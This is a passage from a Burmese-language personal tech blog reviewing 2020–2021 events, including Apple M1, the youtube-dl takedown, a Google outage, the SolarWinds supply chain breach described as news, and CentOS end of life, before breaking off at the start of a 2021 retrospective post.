တစ်ခုထည့်ထားပေးသည့်တိုင်အောင် Linux မှာရနိုင်တဲ့ package manager ပုံစံမျိုးကို native အနေနဲ့ အသုံးပြုလို့ မရနိုင်ပါဘူး။ Homebrew လိုမျိုး third-party package manager software ကို install လုပ်ပြီးတော့မှပဲ developer တွေနဲ့ Linux system admin တွေ ရင်းနှီးတဲ့ platform ပုံစံမျိုး ထွက်လာပါတော့တယ်။ Performance အနေနဲ့တော့ native မဟုတ်တဲ့ အတွက်အတော်လေးကို နှေးတယ်လို့တော့ ထင်မြင်မိပါတယ်။ ဒီတော့... စာရေးသူဟာ Apple ကိုကြိုက်တဲ့ Apple fan တစ်ယောက် မဟုတ်တဲ့ အတွက် Apple M1 Chip အတွက် ဒီလောက်ကြီး ရင်ခုန်ဖွယ်ရာ ဖြစ်မနေပါဘူး။ သို့သော်... Apple ဘယ်လိုမျိုး ပုံစံနဲ့ approach လုပ်သလဲ၊ product launch ပိုင်းမှာ strategy ကောင်းတွေဘယ်သုံးမှာလဲ၊ ဘယ်လိုမျိုး ARM chip ရဲ့ consumer market တစ်ခုတည်ဆောက်မှာလဲဆိုတာတော့ သိချင်စိတ်ဖြစ်မိတာတော့ အမှန်ပါ။

အခုဆိုရင် Apple M1 ထွက်တာ လအနည်းငယ်ကြာပြီးတဲ့ နောက်လူတွေ ပြောလာတဲ့ Apple M1 အကြောင်းဟာ နည်းပညာလောကအတွက်တော့ သတင်းကောင်းတွေပါပဲ။ ARM လိုမျိုး processing algorithm ကိုအသုံးပြုထားသည့်တိုင်အောင် Intel ရဲ့ x86 platform မှာလိုမျိုး performance ရတယ်ဆိုတဲ့ အသံတွေကြားရတယ်။ နောက်တခါ... battery consumption မှာ ARM ကိုသုံးတဲ့အတွက် x86 မှာထက် အများကြီး သိသိသာသာကောင်းလာတာလည်း တွေ့ရတယ်လို့ ဆိုပြန်တယ်။ Cooling မှာလည်း Fan တစ်ခုမှ မထည့်ထားပဲနဲ့ passive cooling ကိုအသုံးပြုထားတဲ့အတွက် Youtuber တွေနဲ့ Podcaster တွေလည်း အကြိုက်တွေ့့နေကြတယ်။ ထူးခြားတာတစ်ခုကတော့ Apple M1 Chip ဟာ ARM CPU တစ်ခုတည်းပါဝင်တာမဟုတ်ပဲနဲ့ အခြားသော GPU နဲ့ RAM လိုမျိုးဟာတွေကို တစ်ခုတည်းမှာ ပေါင်းပြီးတော့ ထည့်ထားတာပါ။ ဒီတော့... storage တစ်ခုတည်း ဖြုတ်လဲလို့ ရမယ့် အနေအထားမျိုးပါ။ အခြားသော RAM တို့ GPU တို့ ကို upgrade လုပ်ချင်ရင်တော့ နောက်ထွက်တဲ့ new generation ကိုလိုက်ဝယ်ရမှာ ဖြစ်လို့ Apple ရဲ့ product တစ်ခုကို profitable ဖြစ်အောင် ဘယ်လိုမျိုး ထုပ်ပိုးသလဲဆိုတာ Apple M1 မှာ ရှင်းရှင်းလင်းလင်းကြီး ဖော်ပြနေတဲ့ သဘောပါ။ Apple က hardware နဲ့ software နှစ်ခုလုံးရဲ့ end-to-end stacks အားလုံးကို leverage ကောင်းကောင်းနဲ့ အသုံးပြုပြီးတော့ အခြားသောပြိုင်ဘက်တွေ market ထဲကို ဝင်ရခက်အောင်လို့ လုပ်နိုင်စွမ်းရှိတာတော့ အမှန်ပါ။ သို့သော် နည်းပညာ market မှာတော့ Apple က ခင်းသွားလို့ နောက်ကလိုက်လုပ်ကြတဲ့ စံနမူနာလေးတွေ ရှိတာကြောင့် ARM အတွက်လည်း ရှေ့ရေးအတွက် အလားအလာအများကြီးရှိတဲ့ ပုံစံပါ။ CPU မှာ Intel ဟာ market leader အနေနဲ့ နေရာယူထားတာကြာပါပြီ။ AMD ကလည်း အခုနောက်ပိုင်း Intel ထက်ကောင်းတဲ့ x86 တွေကိုထုတ်လုပ်နေနိုင်ပြီဖြစ်လို့ ARM ဟာ အားလုံးအတွက် စိတ်ဝင်စားစရာကောင်းတဲ့ ပြိုင်ဘက်ကောင်း တစ်ယောက်ဖြစ်လာမှာတော့ မလွှဲမသွေပါပဲ။ Apple M1 ဟာ စာရေးသူအမြင်တော့ နည်းပညာလောကကြီး တစ်ခုလုံးအတွက် သတင်းကောင်းပါ။

### GitHub ပေါ်က youtube-dl ကို DMCA takedown

youtube-dl ကို စာရေးသူ အချို့သော youtube tutorial ကောင်းကောင်းတွေကို download လုပ်ပြီးတော့ ကိုယ့်အိမ်က media server ပေါ်မှာ နောက်ပြန်ကြည့် ရအောင်လို့ archive လုပ်ဖို့အတွက် သုံးလာတာ နည်းနည်းတောင်ကြာပါပြီ။ တော်တော်လေးကို အသုံးဝင်တဲ့ CLI tool လေးတစ်ခုပါ။ Youtube အပြင်အခြားသော media streaming platform တွေမှာလည်း video တွေ၊ အသံဖိုင်တွေကို download လုပ်လို့လည်း ရပါတယ်။ Back-end မှာတော့ Python ကို core language အသုံးပြုထားတာဖြစ်ပြီးတော့ GitHub မှာသူ့ Repo ကို opensource လုပ်ထားပါတယ်။ လက်ရှိမှာတော့ contributor ပေါင်း ၇၀၀ ကျော် ၈၀၀ လောက်ရှိပါတယ်။ GitHub မှာ DMCA takedown မတိုင်ခင်က အသုံးပြုတဲ့ ရှိသော်လည်း ထင်သလောက်တော့ များမယ်မထင်ပါ။ စေ့စေ့ပေါက်ပေါက် လိုက်ရှာမှာပဲ youtube-dl cli ကို Linux မှာအလွယ်တကူ အသုံးပြုနိုင်ကြောင်း သိမှာဖြစ်လို့ စာရေးသူလိုမျိုး use case မျိုးရှိမှာပဲ ရှာတွေ့နိုင်မှာပါ။ ဒါမှမဟုတ်ရင်တော့ မျက်စိကျော်သွားကြမယ်လို့ထင်ပါတယ်။ သို့သော်လည်း DMCA takedown ကိစ္စနဲ့ ပတ်သတ်ပြီးတော့ လူအတော်များများဟာ youtube-dl အကြောင်းကို တော်တော်များများ သိလာကြပြီးတော့ သုံးတဲ့သူပို့လိုတောင်များလာပါသေးတယ်။

GitHub မှာ takedown request လုပ်ပြီး ၂၄နာရီအတွင်းမှာပဲ သူ့ရဲ့ repo ဟာလူမသိသူမသိ ချက်ချင်းဆိုသလိုပျောက်ချင်းမလှပျောက်သွားတာဖြင့် repo owner ဖြစ်တဲ့သူတောင် notification မရလို့ သူ့ repo မှာတစ်ခုခုများ ဖြစ်သလားလို့တောင်တွေးမိပါသတဲ့။ နောက်တော့မှ GitHub က takedown လုပ်သွားတာကိုသိရတယ်လို့ ဆိုပါတယ်။ ဒါကိုကြည့်ခြင်းအားဖြင့် GitHub ဘက်မှာဒီလို takedown request လာရင်ဘယ်လို ကိုင်တွယ်ရမယ်ဆိုတဲ့ လုပ်ငန်းစဉ်သတ်မှတ်ချက် ရှင်းရှင်းလင်းလင်းရှိထားပုံမရပါ။ Youtube-dl နဲ့မှ ပထမဆုံး လုပ်ဆောင်ရတဲ့ repo takedown ပုံစံမျိုးဖြစ်နေပါတယ်။ အခုလိုမျိုးဖြစ်ရပ် youtube-dl ကိစ္စလူတွေကြားမှာ အပြောများလာသည့်အလောက် youtube-dl ကို လူသိပိုများလာပြီးနောက် လူတွေကလည်း ပိုလို့ပင်အသုံးများလာပါတော့တယ်။ Takedown ကြောင့် original repo ဟာ GitHub မှာပျောက်သွားပြီးနဲ့နောက်မှာတော့ youtube-dl repo ကို fork လုပ်ထားတဲ့ repo တွေကိုလည်း ဘယ်လိုမျိုးကိုင်တွယ်မလဲဆိုတာကိုလည်း အားလုံးကစိတ်ဝင်စားလာကြပါတော့တယ်။ Source code ရှိတဲ့သူတွေကလည်း အခြားသော GitLab လိုမျိုး platform တွေမှာ ပြောင်းပြီးတော့ တင်လာကြပါတယ်။ နောက်ဆုံး တစ်လကျော်ကျော်လောက် အကြာမှာတော့ takedown ကို ပြန်လည် ရုတ်သိမ်းပေးလိုက်ပြီးတော့ ဒီလိုမျိုးကိစ္စနှောင်များမှာ ဖြစ်လာခဲ့လို့ရှိရင်ဖြင့် ဥပဒေအရ လုပ်ဆောင်စရာရှိတာကို လုပ်လို့ရအောင်လို့ ငွေအများကြီးပြန်လည်မတည်ခဲ့ပေးခြင်းဖြင့် အဖက်ဆည်ရပါတယ်။ စာရေးသူရဲ့ အတွေ့အကြုံအရ အဲ့ဒီနောက်ပိုင်းမှာလည်း youtube-dl ကို maintain လုပ်တဲ့သူ မရှိတော့တာလား မလုပ်တော့တာလာတော့ မသိဘူး ဆက်ပြီးတော့အသုံးပြုလို့ မရတဲ့အထိဖြစ်လာတော့မှ ဟိုရှာကြည့်ဒီရှာကြည့်နဲ့နောက်ဆုံးမှာတော့ သူ့ကို fork လုပ်ထားတဲ့ repo နောက်တစ်ခုကို ထပ်မံတွေ့ရှိခဲ့ပြန်ပါတယ်။ GitHub repo ကိုတော့အောက်ကအတိုင်းသွားပြီးတော့ ကြည့်လို့ရပါတယ်။ အသုံးပြုကြည့်သလောက်တော့ အကုန်လုံးနီးပါးအဆင်ပြေနေပါသေးတယ်။

{% embed url="<https://github.com/yt-dlp/yt-dlp>" %}

### Google outage ဖြစ်ရပ်မှ မေးစရာမေးခွန်းများ

၂၀၂၀ခုနှစ် ဒီဇင်ဘာလထဲမှာ ဘယ်သူမှမထင်ထားတဲ့ Google outage တစ်ခုဖြစ်ခဲ့ပါတယ်။ နေ့အားဖြင့် ဒီဇင်ဘာ ၁၅ရက်နေ့ အင်္ဂါနေ့ဖြစ်ပြီးတော့ outage ဖြစ်နေတဲ့အချိန်အတွင်းမှာ Google ရဲ့ services တွေအကုန်လုံးနီးပါး အသုံးပြုလို့မရတဲ့အထိဖြစ်ခဲ့ပါတော့တယ်။ ဖြစ်တဲ့အချိန်ဟာ အမေရိကနိုင်ငံ အရှေ့ပိုင်းမှာ မနက်စောစော ၈နာရီထိုးခါနီးလောက်က စပြီးတော့အသုံးပြုလို့ မရတာကိုကြုံတွေ့ခဲ့သည့်တိုင်အောင်မှ Google ရဲ့ automated reporting system နဲ့ monitoring system တွေဟာအဲ့ဒီ outage ကိုလုံးလုံး အသိမပေးခဲ့တဲ့အတွက် Google က ပထမ မိနစ် ၃၀အတွင်းမှာဘာမှ မလုပ်ခဲ့ဘူးလို့လည်းသိရပါတယ်။ ထို မိနစ်၃၀ ပြီးမှနောက်ပိုင်းမှာ Google ကသူတို့ တရားဝင်ဆိုဒ်မှာ အဲ့ဒီ outage ကိုအသိပေးကြေငြာပါတော့တယ်။ အဲ့ဒီနောက် ဆက်လက်စုံစမ်းစစ်ဆေးပြီးတဲ့နောက်မှာတော့ authentication system တစ်ခုက ထဖေါက်လို့ ရှိသမျှ Google services တွေရပ်သွားပါကြောင်း သိရှိရပါတော့တယ်။ ဟုတ်ပြီ... Google လိုမျိူး company မျိုးမှာ authentication system တစ်ခုက အလိုလိုနေရင်းထဖေါက်ရတဲ့ အကြောင်းအရင်းကို ရှာလိုက်တော့ storage မှာ full ဖြစ်ပြီးတော့ system crash ဖြစ်တာပါတဲ့ဗျာ။ Google မှာအခုလိုမျိုး storage ကိုတောင် monitor သေချာမလုပ်နိုင်ဘူးလားဆိုတော့ လုပ်နိုင်ပါတယ်။ သူတို့ရဲ့ အသုံးပြုတဲ့ automated workflow ကကြောင်ပြီးတော့ reporting လည်းမလုပ်တော့သလို၊ auto-scaling လည်းမလုပ်တော့တဲ့ အထိအကုန်မှားခဲ့ပါတယ်။ ဒီတော့... ဒီနေရာမှာ မှတ်သားရမှာက system တစ်ခုရှိတာတဲ့ outage ဆိုတာ downtime ဆိုတာ ရှိနေအုံးမှာပဲဆိုတာကိုပါ။ ကောင်းပြီ စာရေးသူတို့ Google လည်း outage ရှိနိုင်တယ်ဆိုတာကို လက်ခံကြပြီဆိုအုံးတော့... နောက်မှာဆက်ပြီးတော့ စဉ်းစားရမှာက အဲ့ဒီ outage ကနေဘာတွေဆက်ဖြစ်ခဲ့လဲ၊ outage အချိန်အတွင်းမှာကော ဘာတွေဖြစ်နေသလဲဆိုတာကို တချက်ကြည့်လိုက်ရအောင်။

Google outage ကြောင့် သုံးလို့မရတဲ့ Gmail and Google Calendar လိုမျိုး free အသုံးပြုနိုင်တဲ့ service တွေအပြင်၊ G suite လိုမျိုး enterprise customer တွေမှာလည်း subscribe လုပ်ထားတဲ့ service တွေလည်းတစ်ခုမှ အသုံးပြုလို့ မရပါ။ YouTube ရဲ့ streaming ကလည်း အဲ့ဒီအချိန်မှာ လုံးဝအလုပ်မလုပ်တော့ပါ။ ပိုပြီးတော့ ဆိုးတာက G suite မှာ business အတွက်အသုံးပြုတဲ့ Google Docs၊ Sheets နဲ့ Slides လို service တွေလည်းဘာမှ ဆက်သုံးလို့မရတဲ့အတွက် presentation လုပ်စရာရှိတာတွေမလုပ်ရ၊ Google Drive မှာသိမ်းဆည်းထားတဲ့ files တွေကိုလည်း ဘာမှ access လုပ်လို့မရတဲ့အတွက် business အတွက် Google ကိုအားကိုးရတဲ့ companies တွေနားကားခဲ့ရပါတယ်။ ဒါပဲလားဆိုတော့... Google account ကိုအသုံးပြုပြီးတော့ sign in လုပ်ထားတဲ့ အခြားသော third-party service တွေမှာလည်း authentication failure ကြောင့် အသုံးပြုလို့မရခဲ့တာတွေလည်း ရှိခဲ့ပါတယ်။ နောက်ဆုံး ကုန်ကုန်ပြောရရင်... ကိုယ့်အိမ်မှာ Google Home တို့ Nest တို့ကို အသုံးပြုပြီးတော့ Smart Home ရဲ့ အခြားသော accessories တွေကိုအသုံးပြုတဲ့သူတွေအတွက်တော့ မီးသီးလေးတစ်လုံးကို voice command နဲ့ ဖွင့်ဖို့ရာ ဖွင့်မရလို့ အမှောင်ထဲမှာ ဒီအတိုင်း ထိုင်နေရတဲ့ အထိပါပဲ။ Nest ကိုအသုံးပြုပြီးတော့ thermostat နဲ့ air-conditioning system ထိန်းသိမ်းတဲ့ဟာတွေလည်း အလုပ်မဖြစ်တော့ပါ။ အခြားသော Google နဲ့ ချိတ်ထားတဲ့ security camera တွေနဲ့ alarm system တွေပါသုံးလို့မရခဲ့ပါဘူး။ စာရေးသူတို့ Google ကိုဘယ်လောက်တောင် မှီခိုလွန်းလိုက်နေပြီဆိုတာ အများကြီးတွေးစရာတစ်ခုဖြစ်လာပါတော့တယ်။ အဲ့ဒီ Google outage က ၄၅ မိနစ်လောက်သာကြာခဲ့ပေမယ့် မေးစရာ မေးခွန်တွေကတော့ စာရေးသူတို့အတွက် အများကြီးရှိခဲ့ပါတော့သည်။

### Solorigate နဲ့ supply chain attack

COVID-19 နဲ့လုံးပန်းနေရတဲ့ သက္ကရာဇ် ၂၀၂၀ဟာ အားလုံးအတွက် စိတ်ရောလူပါ တော်တော်လေးကို ရုန်းကန်ခဲ့ရတာဟာ တကမ္ဘာလုံးအတွက် အခက်ခဲဆုံးအချိန်တွေကို ဖြတ်သန်းခဲ့ရတာတော့အမှန်ပါ။ နည်းပညာမှာလောကထဲမှာလည်း Solarwinds breach ဖြစ်လို့ သူ့ရဲ့ Network Performance Monitoring (NPM) ကိုအသုံးပြုတဲ့ company တော်တော်များများ လှန့်ဖြန့်ကုန်ပါတော့တယ်။ ပိုပြီးတော့ဆိုတာက supply chain attack လည်းဖြစ်၊ သူ့ရဲ့ သဘာဝအရ အတွင်းထဲမှာ malicious code တွေကိုနည်းနည်းချင်းစီ ထည့်သွင်းနေတာမို့ အချိန်အားဖြင့် ဘယ်လောက်ကြာကြာလောက်ကတည်း ရောက်နေသလဲဆိုတာ သေချာပြောလို့ မရနိုင်ပါဘူး။ ထွက်လာတဲ့ သတင်းတွေအရတော့ ၂၀၁၉ ခုနှစ် နှစ်အလယ်လောက်ကတည်းကနေပြီးတော့ code တွေကို merge လုပ်လို့ရနိုင်တဲ့ pipeline တစ်ခုလုံးကို access ရနေပြီးသားလို့ လည်းဆိုပါတယ်။ ၂၀၂၀ နှစ်ကုန်ပိုင်းမှာတော့ FireEye ဆိုတဲ့ security company တစ်ခုကနေပြီးတော့ စတင်သတိထားမိလာတာလည်း ဖြစ်ပါတယ်။ FireEye မှာအလုပ်လုပ်တဲ့ ဝန်ထမ်းတစ်ယောက်ကနေပြီးတော့ multi-factor authentication (MFA) request တစ်ခုရလာပြီတော့ ၄င်းက report လုပ်ရာကနေပြီးတော့ FireEye ကစတင် သတိထားပြီးတော့ အကုန်လုံးသိအောင် publish လုပ်ပါတယ်။ အဲ့ဒီအချိန်ကျမှ Solarwinds ကသိရပြီးတော့ အကုန်လုံးကို ပြန်လိုက် စစ်ရပါတော့တယ်။ ပြီးတော့မှ ဘယ် release မှာ malicious code ဘယ်လောက်ပါသွားတယ်၊ ဘာလိုပါသွားတာလည်း ဆိုတာတွေကို ရင်တမမနဲ့ Solarwinds NPM ကိုအသုံးပြုနေတဲ့ customer တွေကစောင့်မျှော်ရပါတယ်။ NPM ကိုသုံးတဲ့ အထဲမှာ US ရဲ့ အစိုးရရုံးများ နဲ့ ထောက်လှမ်းရေးဆိုင်ရာ အဖွဲ့အစည်းတွေပါလာတာမို့ ဒီကိစ္စက သေးမွှားတဲ့အရာမဟုတ်မှန်လည်း US အစိုးရအဖွဲ့ရိပ်စားမိလာပါတော့တယ်။ သူ့တို့ ထုတ်ပြန်တဲ့သတင်းထဲမှာတော့ ဒီ attack ရဲ့နောက်ကွယ်မှာ Russia ရဲ့ အစိုးရ ကျောထောက်နောက်ခံပေးထားတဲ့ hacker တွေကလုပ်တာဖြစ်တယ်လို့ သတင်းထက်ထွက်လာပြန်ပါတယ်။ ဒီလိုနဲ့ ၂၀၂၀ခုနှစ် နှစ်ကုန်ပိုင်းလောက်ကတည်း စလိုက်တဲ့ chain of events တွေဟာ အခုအချိန် ဒီစာကို ရေးနေတဲ့ မေလ ၂၀၂၁ခုနှစ်ပိုင်းထိကို မပြီးနိုင်တော့ပါဘူး။ ပိုပြီးတော့ စိတ်ဝင်စားဖို့ကောင်းတာက ပြီးတဲ့အပတ်ကထွက်တဲ့ သတင်းထဲမှာ Solarwinds ရဲ့ stock price က ၂၅ - ၃၀ ရာခိုင်နှုန်းကြား ထက်တက်သွားတယ်ဆိုတဲ့ သတင်းပါ။ ဒါ့အပြင် Solarwinds ရဲ့ support ဖြစ်တဲ့ maintenance price ကိုလည်း Solarwinds ကထပ်ပြီးတော့ စျေးကိုမြင့်တင်လိုက်ပြန်ပါတယ်။

ရေပူရအားဖြင့် platform တစ်ခုမှာ breach ဖြစ်တယ်၊ data leak ဖြစ်တယ်ဆိုရင် ရောင်းအားကျမယ်၊ company အနေနဲ့ အရှုံးပေါ်မယ်ဆိုတာမျိုး ဖြစ်မယ်ဆိုတာမျိုး ကြိုတင်တွက်ချက်လို့ ရနိုင်ပါတယ်။ အခုဟာက အရှုံးမပေါ်ပဲနဲ့ NPM platform ကိုပိုပြီးတော့ လုံခြုံအောင်သာလုပ်ထားပေး အသုံးပြုသူတွေအနေနဲ့ ပိုပေးမယ်ဆိုတာမျိုး တွေးပုံတွေးနည်းကို သွားပြီးတော့တွေ့ရပါတယ်။ ဖြစ်နိုင်ချေတစ်ခုက တကမ္ဘာလုံး COVID-19 ကြောင့် စိတ်ကောကိုယ်ပါ မောပန်းနေလို့ company ကြီးတွေနဲ့ အစိုးရအဖွဲ့ဝင်တွေ ဘက်က အလုပ်လုပ်နေသေးတဲ့ platform တစ်ခုလုံးကို ဖြုတ်ပြီးတော့ အစကနေပြန်ပြီးတော့ မစချင်တာလည်း ပါနိုင်သလို၊ Solarwinds ရဲ့ product တွေတော်တော်များများကို အခြားသော network အစိတ်အပိုင်းတွေနဲ့ integration လုပ်ထားတာ တော်တော်လေး ထဲထဲဝင်ဝင်ဖြစ်နေလို့ အစကနေပြီး ပြန်လုပ်ဖို့ရာအတွက် လက်ဝင်မယ့်သဘောရှိနေနိုင်ပါတယ်။ Solarwinds ရဲ့ NPM ဟာ အခြားအခြားသော product တွေနဲ့ပေါင်းပြီးတော့ syslog နဲ့ network automation အတွက် event trigger တွေကိုလည်း ဖန်တီး နိုင်စွမ်းရှိတာမို့ ကောင်းမွန်တဲ့ network montoring platform တစ်ခုပါ။ အခုလိုမျိုး ဖြစ်လာလိုက်တာဟာ အခြားသော proprietary software တွေမှာလည်း အတွင်းထဲမှာ ဘယ်လိုမျိုး workflow နဲ့ process တွေမှာ flaw တွေရှိနိုင်သလဲဆိုတာမသိနိုင်ပါဘူး။ ဒါဟာ opensource နဲ့ ကွာခြားချက်တစ်ခုပါ။ စာရေးသူပြောချင်တာက အခုလိုမျိုး supply chain attack မျိုးဟာ opensource မှာလည်းဖြစ်နိုင်သလို၊ proprietary မှာလည်း ဖြစ်နိုင်တာချင်းအတူတူ proprietary မှာ ငွေကြေးအများကြီးပေးပြီးတော့ software license အတွက်ပေးရတာဟာ သဘာဝမကျတဲ့ သဘောပါ။ ဒီ့အတွက် opensource မှာ အားသာချက်များစွာရှိနေပါတယ်။ ပြီးခဲ့တဲ့ လထဲ University of Minnesota က contribute လုပ်တဲ့ commits တွေထဲမှာ malicious code ကို ရည်ရွယ်ချက်ရှိရှိနဲ့ ထည့်ပေးလိုက်တာကို Linux kernel ရဲ့ gatekeeper ဖြစ်တဲ့ Greg Kroah-Hartman ကြီးဘယ်လိုမျိုး handle လုပ်သွားသလဲ၊ Linux Foundation ကဘယ်လိုမျိုး action လုပ်သွားသလဲဆိုတာကို ကြည့်လိုက်ရင် opensource model ဘယ်လောက်ထိ အလုပ်ဖြစ်သလဲဆိုတာကိုတွေ့နိုင်ပါတယ်။

### RHEL ရဲ့ CentOS အတွက်နောက်ဆုံးနှုတ်ဆက်ခြင်း

စာရေးသူအတွက်တော့ CentOS ဟာ enterprise Linux server တစ်ခုအတွက်အကောင်းဆုံး distribution တစ်ခုပါ။ Ubuntu ရဲ့ LTS တွေကိုလည်း server အနေနဲ့ အသုံးဖြစ်သလို၊ CentOS ကိုတော့ ပိုပြီးတော့ ကြိုက်နှစ်သက်မိတာတော့ အမှန်ပါ။ CentOS ရဲ့ အားသာချက်ကတော့ RHEL ရဲ့ stable ဖြစ်တဲ့ အရာမှန်သမျှကို ယူပြီးတော့ အသုံးပြုထားလို့ တကယ့် production ထဲမှာ အသုံးပြုရာအတွက် အဆင့်သင့်ဖြစ်နေသလိုမျိုး ဖြစ်နေပါတယ်။ EPEL ရဲ့အစွမ်းကြောင့် ကိုယ်လိုတဲ့ package တွေကိုထပ်တိုးပြီးတော့ ပေါင်းထည့်လို့ရတာမို့ RHEL မှာရနိုင်တဲ့ဟာတွေ အကုန်လုံးကို CentOS မှာလည်း ရနိုင်နေတဲ့ သဘောမျိုးသွားဖြစ်နေပါတယ်။ ဒါကြောင့်လည်း web hosting တွေတော်တော်များများမှာ CentOS ကိုတွင်တွင်ကျယ်ကျယ် အသုံးပြုနေရတာလည်း ဖြစ်ပါတယ်။ ဒါကြောင့်လည်း IBM ကနေပြီးတော့ Red Hat ကိုဝယ်ပြီးနောက်ပိုင်းမှာ product ရောင်းအားတက်အောင်လို့ ကြိုးပမ်းတဲ့နေရာမှာ အခုလိုမျိုး ဆုံးဖြတ်ချက်ကို ရွေးလိုက်ခြင်းဖြစ်ပါတယ်။ Red Hat ဘက်ကအဲ့ဒါကြောင့် မဟုတ်ရပါဘူးလို့ ဆိုသော်လည်း အားလုံးကဘာကြောင့် ဘာအတွက်လုပ်သလဲဆိုတာကို သိနေကြပါတယ်။ ဒီကိစ္စက open secret ပါ။ IBM က Red Hat ကိုဝယ်ပြီးကတည်းက အခုလိုမျိုး ဖြစ်လာတော့ မယ်ဆိုတာမှန်းဆလို့ ရနိုင်ပါတယ်။

အခုလိုမျိုး Red Hat က CentOS 8 ရဲ့ support ကို ၂၀၂၁ ခုနှစ် ဒီဇင်ဘာလ ၃၁ရက်နေ့ ရပ်နားမယ်လို့ သတင်းထွက်လာတော့ CentOS 7 ကနေ 8 ကိုမကြာသေးခင်ကမှ upgrade လုပ်ထားတဲ့ company တွေအတွက်တော့ သောကများရပါတော့တယ်။ Red Hat က CentOS 8 ကို RHEL 8 အနေနဲ့ ဆက်လက်အသုံးပြုလိုက သုံးနိုင်အောင်လို့ script တွေကို ပေးထားသော်လည်း RHEL 8 အတွက်တော့ support license ရှိမှရပါတော့မယ်။ CentOS 7 ကိုအသုံးပြုနေသေးတဲ့ company တွေအတွက်တော့ ၂၀၂၄ ဇွန်လ ၃၀ရက်နေ့ အထိဆက်လက် အသုံးပြုနိုင်မှာဖြစ်ပါတယ်။ CentOS 8 ရဲ့ support ကိုရပ်မယ်လို့ သတင်းထွက်လာကတည်း Rocky Linux နဲ့ AlmaLinux OS project နှစ်ခုလုံး RHEL 8 ရဲ့ clone ကို ဆက်ပြီးတော့ maintain လုပ်ပြီးတော့ CentOS ရဲ့နေရာကို ဆက်လက် ထိန်းသိမ်းဖို့ ပြောလာကြပါတယ်။ အခုဆိုရင် AlmaLinux ကိုစတင်အသုံးပြုလို့ရတဲ့ အနေအထား တစ်ခုရောက်နေပြီဖြစ်သလို၊ Rocky Linux ဟာလည်း အခုပုံစံတိုင်းဆိုရင် နောက်လအနည်းငယ်အတွင်းမှာ စတင်အသုံးဖို့အတွက် အဆင်သင့်ဖြစ်လာတော့မှာပါ။


# သက္ကရာဇ်၂၀၂၁ ခုနှစ်တွင်း နည်းပညာဆိုင်ရာ အမှတ်တရလေးများ

ပုံမှန်အားဖြင့် စာရေးသူ အခုလိုမျိုး နိုဝင်ဘာလ၊ ဒီဇင်ဘာလတွေမှာ စာတွေအများကြီးရေးဖြစ်လေ့ရှိပါတယ်။ ဒီနှစ် ၂၀၂၁ မှာတော့ စိတ်ရှုပ်စရာတွေ၊ စိတ်အားပျက်မှုတွေနဲ့ အတူတော်တော်လေးကို မွန်းကြပ်မှုတွေနဲ့ လုံးပန်းရလွန်းလို့ စိတ်အနားရတယ်လို့ကို မရှိပါဘူး။ ကိုယ်တိုင်မှာလည်း ဘဝရဲ့အဆစ်အချိုး အချိန်တွေကို အတိုင်းအတာတစ်ခုထိ ခက်ခက်ခဲခဲ ဖြတ်သန်းနေရလို့ အချိန်ပေးပြီးတော့ စာတွေထပ်ရေးဖို့ ပျင်းလာတာကလည်း ငြင်းလို့မရပါဘူး။ မည်သို့ပင်ဖြစ်စေကာမှု စာတွေဆက်ရေးဖို့ကတော့ အမြဲတန်းလိုလို တောက်လျှောက်မပျက် ခေါင်းထဲမှာရှိပါတယ်။ စာတွေလည်း အများကြီးထပ်ပြီးတော့ ရေးချင်နေသေးတာ အမှန်ပါ။ အခုလည်း ၂၀၂၁ ခုနှစ်က ဘယ်လိုကုန်လို့ ကုန်သွားမှန်းကို မသိလိုက်ဘူး။ သို့သော်နည်းပညာလောကထဲမှာ အဖြစ်အပျက်တွေက အများကြီးပဲလို့ စိတ်ထဲမှာ အမှတ်ရလို့ နှစ်မကုန်ခင် အရင်ချရေး ထားချင်သောကြောင့် ဒီ post ကိုရေးရခြင်း ဖြစ်ပါတယ်။ ပြီးခဲ့နှစ်ကတော့ ရေးဖို့ကို နှပ်ထားရင် အလုပ်များတာနဲ့ စစ်တပ်အာဏာသိမ်းသွားနဲ့ ပေါင်းပြီး တော်တော်လေးနောက်ကျမှကို အပြီးသတ်နိုင်ပါတယ်။ ဒီနှစ်အတွက်တော့ ကြိုပြီးတော့ရေးထားဖို့ စာရေးသူပြင်ဆင် မှင်တို့ထားရပါတော့သည်။

**(၁) Linux kernel နှစ်သုံးဆယ်ပြည့်**

ဒီနှစ် ၂၀၂၁ခုနှစ်မှာတော့ Linux kernel ဟာ နှစ် ၃၀ တင်းတင်းပြည့်ပါပြီ။ တချိန်က University of Helsinki ကနေ စတင်လိုက်တဲ့ hobby project တစ်ခုဟာ အခုဆိုရင် နေရာတကာမှာအသုံးများနေတဲ့ OS kernel တစ်ခုအနေနဲ့ နှစ်သုံးဆယ်ပြည့်လို့လာပါတယ်။ Linux kernel စတင်လိုက်ကတည်းကနေ အခုအချိန်ထိ ပြောင်းလဲတိုးတက်လာတွေလည်း open-source ကမ္ဘာမှာအခုဆိုရင် မရေတွက်နိုင်အောင်ပဲများလွန်းလှပါတယ်။ သစ်တပင်ကောင်းတော့ ငှက်တသောင်းနား နိုင်စေတာလို့ပဲ စာရေးသူမြင်မိပါတော့တယ်။ အရင်တုန်းကလည်း Linux kernel အကြောင်းကို အသေးစိတ်ရေးပြီးသားမို့ အများကြီးထပ်ပြီး စာမဖွဲ့ချင်ပါ။ Linux kernel နဲ့ ပတ်သတ်တဲ့ article တွေကိုဖတ်ချင်ရင် အောက်မှာပါတဲ့ လင့်တွေကနေသွားရောက်ဖတ်ရှုနိုင်ပါတယ်။

{% embed url="<https://my.itmatic101.com/linuxbsd/linux-kernel-part1>" %}
Linux Kernel အကြောင်း သိကောင်းစရာ အပိုင်း (၁)
{% endembed %}

{% embed url="<https://my.itmatic101.com/linuxbsd/linux-kernel-part2>" %}
Linux Kernel အကြောင်း သိကောင်းစရာ အပိုင်း (၂)
{% endembed %}

{% embed url="<https://my.itmatic101.com/linuxbsd/linux-kernel-part3>" %}
Linux Kernel အကြောင်း သိကောင်းစရာ အပိုင်း (၃)
{% endembed %}

**(၂) CentOS Clones နှစ်ခု စတင်ခြင်း**

